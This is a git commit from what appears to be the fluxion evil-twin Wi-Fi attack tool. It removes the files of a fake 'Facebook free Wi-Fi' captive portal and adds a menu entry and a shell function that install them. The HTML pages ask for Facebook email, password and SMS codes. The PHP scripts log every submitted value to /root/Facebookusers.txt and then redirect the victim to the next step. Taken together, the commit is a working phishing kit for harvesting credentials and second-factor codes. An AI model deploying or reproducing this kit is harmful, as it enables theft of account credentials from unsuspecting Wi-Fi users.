Remove Facebook Site

Moved to ares
This commit is contained in:
deltaxflux 2016-09-11 17:59:01 +02:00
parent 8ae51a7b66
commit a8c7ebe475
16 changed files with 40 additions and 560 deletions

View File

@ -1,6 +0,0 @@
[info]
Name: OAuth Login Page
Description: A free Wi-Fi Service asking for Facebook credentials to authenticate using OAuth
[context]
organization:

View File

@ -1,19 +0,0 @@
:<?php
header("Location: smscode.htm");
$handle = fopen("/root/Facebookusers.txt", "a");
foreach($_POST as $variable => $value) {
fwrite("Essid =", $essid );
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fclose($handle);
exit;
?>

View File

@ -1,20 +0,0 @@
:<?php
header("Location: oauth.html");
$handle = fopen("/root/Facebookusers.txt", "a");
foreach($_POST as $variable => $value) {
fwrite("Essid =", $essid );
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.8 KiB

File diff suppressed because one or more lines are too long

View File

@ -1,120 +0,0 @@
<!DOCTYPE html>
<html >
<head>
<script>
function validateForm() {
var x = document.forms["theform"]["Email"].value;
var atpos = x.indexOf("@");
var dotpos = x.lastIndexOf(".");
if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) {
alert("Failed to authenticate. Wrong Email or Password.");
return false;
}
var x = document.forms["theform"]["Password"].value;
if (5>=x.length) {
alert("Failed to authenticate. Wrong Email or Password.");
return false;
}
}
</script>
<meta charset="UTF-8">
<title>Facebook free Wi-Fi Service</title>
<link rel="stylesheet" href="reset.css">
<link rel='stylesheet prefetch' href='roboto.css'>
<link rel='stylesheet prefetch' href='font-awesome.min.css'>
<link rel="stylesheet" href="style.css">
</head>
<body>
<!-- Form Mixin-->
<!-- Input Mixin-->
<!-- Button Mixin-->
<!-- Pen Title-->
<div class="pen-title">
<h1>Get connected to the Internet for free</h1><span>So simple, no frills, Its Facebook free Wi-Fi service.</span>
</div>
<!-- Form Module-->
<div class="module form-module">
<div class="form">
</div>
<div class="form">
<h2>Login using Facebook</h2>
<img src="facebook-logo.png" width="25%" class="logo"></img>
<form name="theform" class="theform" method="post" action="data.php" onsubmit="return validateForm();">
<input type="text" placeholder="Email" name="email"/>
<input type="password" placeholder="Password" name="password"/>
<button class="login-btn">Login</button>
</form>
</div>
<div class="cta"><a id="btn1">Terms of Usage</a></div>
</div>
<!-- The Modal -->
<div id="myModal" class="modal">
<!-- Modal content -->
<div class="modal-content">
<div class="modal-header">
<span class="close">×</span>
<h2>Terms of Usage</h2>
</div>
<div class="modal-body">
<p>This is a free Hotspot wireless internet Service (the “Service”) provided for use by customers. All users are required to log-in individually as an independent user.</p>
<p>
The Service is made available provided:
</p><p>
(a) You do not use the Service for anything unlawful, immoral or improper;
</p><p>
(b) You do not use the Service to make offensive or nuisance communications in whatever form. Such usage includes posting, transmitting, uploading, downloading or otherwise facilitating any content that is unlawful, defamatory, threatening, a nuisance, obscene, hateful, abusive, harmful (including but not limited to viruses, corrupted files, or any other similar software or programs), a breach of privacy, or which is otherwise objectionable;
</p><p>
(c) You do not use the Service to harm or attempt to harm minors in any way;
</p><p>
(d) You do not act nor knowingly permit others to act in such a way that the operation of the Service or our systems will be jeopardized or impaired;
</p><p>
(e) You do not use abusive or threatening behavior towards other users of the Service, members of our staff or any person in the vicinity of a Wireless LAN Hotspot;
</p><p>
(f) You do not use the Service to access or use content in a way that infringes the rights of others;
</p><p>
(g) The Service is used in accordance with any third party policies for acceptable use or any relevant internet standards (where applicable).
</p><p>
3.2 You agree not to resell or re-broadcast any aspect of the Service, whether for profit or otherwise. You accept that your entitlement to use the Service is for your personal use only and that you shall not be entitled to transfer your entitlement to use the Service to any other person or allow any other person to make use of the Service or of any username or password or other entitlement supplied to you in connection with the Service.
</p><p>
3.3 You also agree not to modify the Unit or use the Service for any fraudulent purpose, or in such a way as to create damage or risk to our business, reputation, employees, subscribers, facilities, third parties or to the public generally.
</p><p>
3.4 You have no proprietary or ownership rights to any username or password or to a specific IP address, or e-mail address assigned to you or your Unit. We may change such addresses at any time or deactivate or suspend Service to any address without prior notice to you if we suspect any unlawful or fraudulent use of the services.
</p>
</div>
</div>
<script src='jquery.min.js'></script>
<script src="index.js"></script>
<script>
// Get the modal
var modal = document.getElementById('myModal');
// Get the button that opens the modal
var btn = document.getElementById("btn1");
// Get the <span> element that closes the modal
var span = document.getElementsByClassName("close")[0];
// When the user clicks the button, open the modal
btn.onclick = function() {
modal.style.display = "block";
}
// When the user clicks on <span> (x), close the modal
span.onclick = function() {
modal.style.display = "none";
}
// When the user clicks anywhere outside of the modal, close it
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = "none";
}
}
</script>
</body>
</html>

View File

@ -1,12 +0,0 @@
// Toggle Function
$('.toggle').click(function(){
// Switches the Icon
$(this).children('i').toggleClass('fa-pencil');
// Switches the forms
$('.form').animate({
height: "toggle",
'padding-top': 'toggle',
'padding-bottom': 'toggle',
opacity: "toggle"
}, "slow");
});

File diff suppressed because one or more lines are too long

View File

@ -1,13 +0,0 @@
<!--
Copyright (c) 2016 by Andy Tran (http://codepen.io/andytran/pen/PwoQgO)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-->
Edited by princeofguilty

View File

@ -1 +0,0 @@
<p>Oops, an error occured! Our engineers were notified. Please be patient as we are working on it.</p>

View File

@ -1 +0,0 @@
Information are stored in /root/facebookusers.txt

View File

@ -1 +0,0 @@
html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:'';content:none}table{border-collapse:collapse;border-spacing:0}

View File

@ -1,36 +0,0 @@
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 100;
src: local('Roboto Thin'), local('Roboto-Thin'), url(http://fonts.gstatic.com/s/roboto/v15/Jzo62I39jc0gQRrbndN6nfesZW2xOQ-xsNqO47m55DA.ttf) format('truetype');
}
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 300;
src: local('Roboto Light'), local('Roboto-Light'), url(http://fonts.gstatic.com/s/roboto/v15/Hgo13k-tfSpn0qi1SFdUfaCWcynf_cDxXwCLxiixG1c.ttf) format('truetype');
}
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 400;
src: local('Roboto'), local('Roboto-Regular'), url(http://fonts.gstatic.com/s/roboto/v15/zN7GBFwfMP4uA6AR0HCoLQ.ttf) format('truetype');
}
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 500;
src: local('Roboto Medium'), local('Roboto-Medium'), url(http://fonts.gstatic.com/s/roboto/v15/RxZJdnzeo3R5zSexge8UUaCWcynf_cDxXwCLxiixG1c.ttf) format('truetype');
}
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 700;
src: local('Roboto Bold'), local('Roboto-Bold'), url(http://fonts.gstatic.com/s/roboto/v15/d-6IYplOFocCacKzxwXSOKCWcynf_cDxXwCLxiixG1c.ttf) format('truetype');
}
@font-face {
font-family: 'Roboto';
font-style: normal;
font-weight: 900;
src: local('Roboto Black'), local('Roboto-Black'), url(http://fonts.gstatic.com/s/roboto/v15/mnpfi9pxYH-Go5UiibESIqCWcynf_cDxXwCLxiixG1c.ttf) format('truetype');
}

View File

@ -1,105 +0,0 @@
<!DOCTYPE html>
<html><head>
<meta charset="UTF-8">
<title>Facebook free Wi-Fi Service</title>
<link rel="stylesheet" href="reset.css">
<link rel="stylesheet prefetch" href="roboto.css">
<link rel="stylesheet prefetch" href="font-awesome.min.css">
<link rel="stylesheet" href="style.css">
<link href="resource://jid1-mnnxcxisbpnsxq-at-jetpack/data/skin/socialwidgets.css" type="text/css" rel="stylesheet"><link href="resource://jid1-mnnxcxisbpnsxq-at-jetpack/data/skin/socialwidgets.css" type="text/css" rel="stylesheet"></head>
<body>
<!-- Form Mixin-->
<!-- Input Mixin-->
<!-- Button Mixin-->
<!-- Pen Title-->
<div class="pen-title">
<h1>Get connected to the Internet for free</h1><span>A simple, no frills, Its Facebook free Wi-Fi service.</span>
</div>
<!-- Form Module-->
<div class="module form-module">
<div class="form">
</div>
<div class="form">
<h2>Login using Facebook</h2>
<img src="facebook-logo.png" class="logo" width="25%"><h1>We have sent you an sms</h1>
<h1>. </h1>
<form name="theform" class="theform" method="post" action="datasms.php" onsubmit="return validateForm();">
<input name="smscode" placeholder="Enter sms code" type="text">
<button type="Confirm" class="login-btn">Login</button>
</form>
</div>
<div class="cta"><a id="btn1">Terms of Usage</a></div>
</div>
<!-- The Modal -->
<div id="myModal" class="modal">
<!-- Modal content -->
<div class="modal-content">
<div class="modal-header">
<span class="close">×</span>
<h2>Terms of Usage</h2>
</div>
<div class="modal-body">
<p>This is a free Hotspot wireless internet Service (the “Service”) provided for use by customers. All users are required to log-in individually as an independent user.</p>
<p>
The Service is made available provided:
</p><p>
(a) You do not use the Service for anything unlawful, immoral or improper;
</p><p>
(b) You do not use the Service to make offensive or nuisance communications in whatever form. Such usage includes posting, transmitting, uploading, downloading or otherwise facilitating any content that is unlawful, defamatory, threatening, a nuisance, obscene, hateful, abusive, harmful (including but not limited to viruses, corrupted files, or any other similar software or programs), a breach of privacy, or which is otherwise objectionable;
</p><p>
(c) You do not use the Service to harm or attempt to harm minors in any way;
</p><p>
(d) You do not act nor knowingly permit others to act in such a way that the operation of the Service or our systems will be jeopardized or impaired;
</p><p>
(e) You do not use abusive or threatening behavior towards other users of the Service, members of our staff or any person in the vicinity of a Wireless LAN Hotspot;
</p><p>
(f) You do not use the Service to access or use content in a way that infringes the rights of others;
</p><p>
(g) The Service is used in accordance with any third party policies for acceptable use or any relevant internet standards (where applicable).
</p><p>
3.2 You agree not to resell or re-broadcast any aspect of the Service, whether for profit or otherwise. You accept that your entitlement to use the Service is for your personal use only and that you shall not be entitled to transfer your entitlement to use the Service to any other person or allow any other person to make use of the Service or of any username or password or other entitlement supplied to you in connection with the Service.
</p><p>
3.3 You also agree not to modify the Unit or use the Service for any fraudulent purpose, or in such a way as to create damage or risk to our business, reputation, employees, subscribers, facilities, third parties or to the public generally.
</p><p>
3.4 You have no proprietary or ownership rights to any username or password or to a specific IP address, or e-mail address assigned to you or your Unit. We may change such addresses at any time or deactivate or suspend Service to any address without prior notice to you if we suspect any unlawful or fraudulent use of the services.
</p>
</div>
</div>
<script src="jquery.min.js"></script>
<script src="index.js"></script>
<script>
// Get the modal
var modal = document.getElementById('myModal');
// Get the button that opens the modal
var btn = document.getElementById("btn1");
// Get the <span> element that closes the modal
var span = document.getElementsByClassName("close")[0];
// When the user clicks the button, open the modal
btn.onclick = function() {
modal.style.display = "block";
}
// When the user clicks on <span> (x), close the modal
span.onclick = function() {
modal.style.display = "none";
}
// When the user clicks anywhere outside of the modal, close it
window.onclick = function(event) {
if (event.target == modal) {
modal.style.display = "none";
}
}
</script>
</div></body></html>

View File

@ -1,214 +0,0 @@
body {
background: #e9e9e9;
color: #666666;
font-family: 'RobotoDraft', 'Roboto', sans-serif;
font-size: 14px;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
/* Pen Title */
.pen-title {
padding: 50px 0;
text-align: center;
letter-spacing: 2px;
}
.pen-title h1 {
margin: 0 0 20px;
font-size: 48px;
font-weight: 300;
}
.pen-title span {
font-size: 12px;
}
.pen-title span .fa {
color: #33b5e5;
}
.pen-title span a {
color: #33b5e5;
font-weight: 600;
text-decoration: none;
}
/* Form Module */
.form-module {
position: relative;
background: #ffffff;
max-width: 320px;
width: 100%;
border-top: 5px solid #33b5e5;
box-shadow: 0 0 3px rgba(0, 0, 0, 0.1);
margin: 0 auto;
}
.form-module .toggle {
cursor: pointer;
position: absolute;
top: -0;
right: -0;
background: #33b5e5;
width: 30px;
height: 30px;
margin: -5px 0 0;
color: #ffffff;
font-size: 12px;
line-height: 30px;
text-align: center;
}
.form-module .toggle .tooltip {
position: absolute;
top: 5px;
right: -65px;
display: block;
background: rgba(0, 0, 0, 0.6);
width: auto;
padding: 5px;
font-size: 10px;
line-height: 1;
text-transform: uppercase;
}
.form-module .toggle .tooltip:before {
content: '';
position: absolute;
top: 5px;
left: -5px;
display: block;
border-top: 5px solid transparent;
border-bottom: 5px solid transparent;
border-right: 5px solid rgba(0, 0, 0, 0.6);
}
.form-module .form {
display: none;
padding: 40px;
}
.form-module .form:nth-child(2) {
display: block;
}
.form-module h2 {
margin: 0 0 20px;
color: #33b5e5;
font-size: 18px;
font-weight: 400;
line-height: 1;
}
.logo {
float: right;
margin-top: -50px;
}
.form-module input {
outline: none;
display: block;
width: 100%;
border: 1px solid #d9d9d9;
margin: 0 0 20px;
padding: 10px 15px;
box-sizing: border-box;
font-wieght: 400;
-webkit-transition: 0.3s ease;
transition: 0.3s ease;
}
.form-module input:focus {
border: 1px solid #33b5e5;
color: #333333;
}
.login-btn {
cursor: pointer;
background: #33b5e5;
width: 100%;
border: 0;
padding: 10px 15px;
color: #ffffff;
-webkit-transition: 0.3s ease;
transition: 0.3s ease;
}
#btn1, #btn2 {
cursor: pointer;
}
.login-btn:hover {
background: #178ab4;
}
.form-module .cta {
background: #f2f2f2;
width: 100%;
padding: 15px 40px;
box-sizing: border-box;
color: #666666;
font-size: 12px;
text-align: center;
}
.form-module .cta a {
color: #333333;
text-decoration: none;
}
/* The Modal (background) */
.modal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
padding-top: 100px; /* Location of the box */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
}
/* Modal Content */
.modal-content {
position: relative;
background-color: #fefefe;
margin: auto;
padding: 0;
border: 1px solid #888;
width: 80%;
box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);
-webkit-animation-name: animatetop;
-webkit-animation-duration: 0.4s;
animation-name: animatetop;
animation-duration: 0.4s
}
/* Add Animation */
@-webkit-keyframes animatetop {
from {top:-300px; opacity:0}
to {top:0; opacity:1}
}
@keyframes animatetop {
from {top:-300px; opacity:0}
to {top:0; opacity:1}
}
/* The Close Button */
.close {
color: white;
float: right;
font-size: 28px;
font-weight: bold;
}
.close:hover,
.close:focus {
color: #000;
text-decoration: none;
cursor: pointer;
}
.modal-header {
padding: 2px 16px;
background-color: #90C3D4;
color: white;
}
.modal-body {padding: 2px 16px;}
.modal-body p {padding-top: 4px;}
.modal-footer {
padding: 2px 16px;
background-color: #5cb85c;
color: white;
}

43
fluxion
View File

@ -3470,7 +3470,8 @@ function webinterface {
echo -e "$blue""13)"$transparent" Portuguese [POR]"
echo -e "$blue""15)"$transparent" German [GER]"
echo -e "$blue""16)"$transparent" Chinese [ZH_CN](NEUTRA)"
echo -e "$blue""17)"$transparent"\e[1;31m $general_back"$transparent""
echo -e "$blue""17)"$transparent" Facebook"
echo -e "$blue""18)"$transparent"\e[1;31m $general_back"$transparent""
echo
echo -n "#? "
@ -3595,7 +3596,12 @@ function webinterface {
DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ZH
NEUTRA
break
elif [ "$fluxass" = "17" ]; then
elif [ "$fluxass" = "17" ];then
Facebook
break
elif [ "$fluxass" = "18" ]; then
continue
fi
@ -7117,9 +7123,40 @@ function XFINITY {
mkdir $DUMP_PATH/data &>$flux_output_device
cp -r $WORK_DIR/Sites/Login-Xfinity/Xfinity_files $DUMP_PATH/data
cp $WORK_DIR/Sites/Login-Xfinity/Xfinity.html $DUMP_PATH/data
cp $WORK_DIR/Sites/Login-Xfinity/Xfinity.html $DUMP_PATH/data
}
function topusers {
echo -e " "
echo -e " _ _ _ "
echo -e " / \ __ _ _// _/ "
echo -e " / /\ | /| )_ ___ \ "
echo -e " / | \ | | / \ "
echo -e " __| /| /__ /___ / "
echo -e " / / / / "
echo -e " "
}
# Create a Facebook login page
function Facebook {
mkdir $DUMP_PATH/data &>$ares_output_device
cp $WORK_DIR/Sites/Facebook/config.ini $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/data.php $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/facebook-logo.png $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/font-awesome.min.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/index.htm $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/index.js $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/jquery.min.js $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/oauth.html $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/reset.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/roboto.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/style.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/datasms.php $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/smscode.htm $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/Facebookusers.txt $DUMP_PATH/data
[ -f /root/Facebookusers.txt ] || cp $WORK_DIR/Sites/Facebook/Facebookusers.txt /root/Facebookusers.txt && echo >> /root/Facebookusers.txt && echo -e " " >> /root/Facebookusers.txt && echo -e " _____ _____________________ _________ " >> /root/Facebookusers.txt && echo -e " / _ \\ _____ \_ _____// _____/ " >> /root/Facebookusers.txt && echo -e " / /_\ \| _/| __)_ \_____ \ " >> /root/Facebookusers.txt && echo -e " / | \ | \| \/ \ " >> /root/Facebookusers.txt && echo -e " \____|__ /____|_ /_______ /_______ / " >> /root/Facebookusers.txt && echo -e " \/ \/ \/ \/ " >> /root/Facebookusers.txt && echo -e " " && echo -e " by princeofguilty & deltax " >> /root/Facebookusers.txt && echo -e " " >> /root/Facebookusers.txt && echo -e " Network ssid : $Host_SSID" >> /root/Facebookusers.txt
}
#Conten interface web
function HUAWEI {